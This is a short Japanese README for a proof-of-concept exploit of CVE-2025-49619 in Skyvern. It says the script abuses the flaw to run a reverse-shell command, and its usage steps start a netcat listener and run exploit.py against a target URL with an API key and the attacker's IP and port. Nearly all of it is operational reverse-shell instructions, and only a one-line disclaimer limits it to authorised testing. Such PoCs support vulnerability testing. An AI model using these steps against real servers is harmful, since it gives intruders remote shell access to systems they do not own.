CVE-2025-49619 PoC

このスクリプトは、Skyvern の CVE-2025-49619 を悪用してリバースシェルコマンドを実行します。

著者

• 名前: Cristian Branet
• GitHub: cristibtz

使い方

1. リスナーを起動する

nc -lvnp <PORT>

2. エクスプロイトを実行する

python3 exploit.py -u "http://<TARGET_IP>:<TARGET_PORT>" -k "<X-API-KEY>" -i <LOCAL_IP> -p <PORT>

• <TARGET_IP>: Skyvern サーバーのIP
• <TARGET_PORT>: Skyvern サーバーのポート
• <X-API-KEY>: あなたの Skyvern APIキー（設定 → APIキー）
• <LOCAL_IP>: リバースシェルを受け取るあなたのIP
• <PORT>: リバースシェル用のポート（リスナーと一致させる必要があります）

免責事項:
このコードは教育目的および許可されたテスト目的のみで使用してください。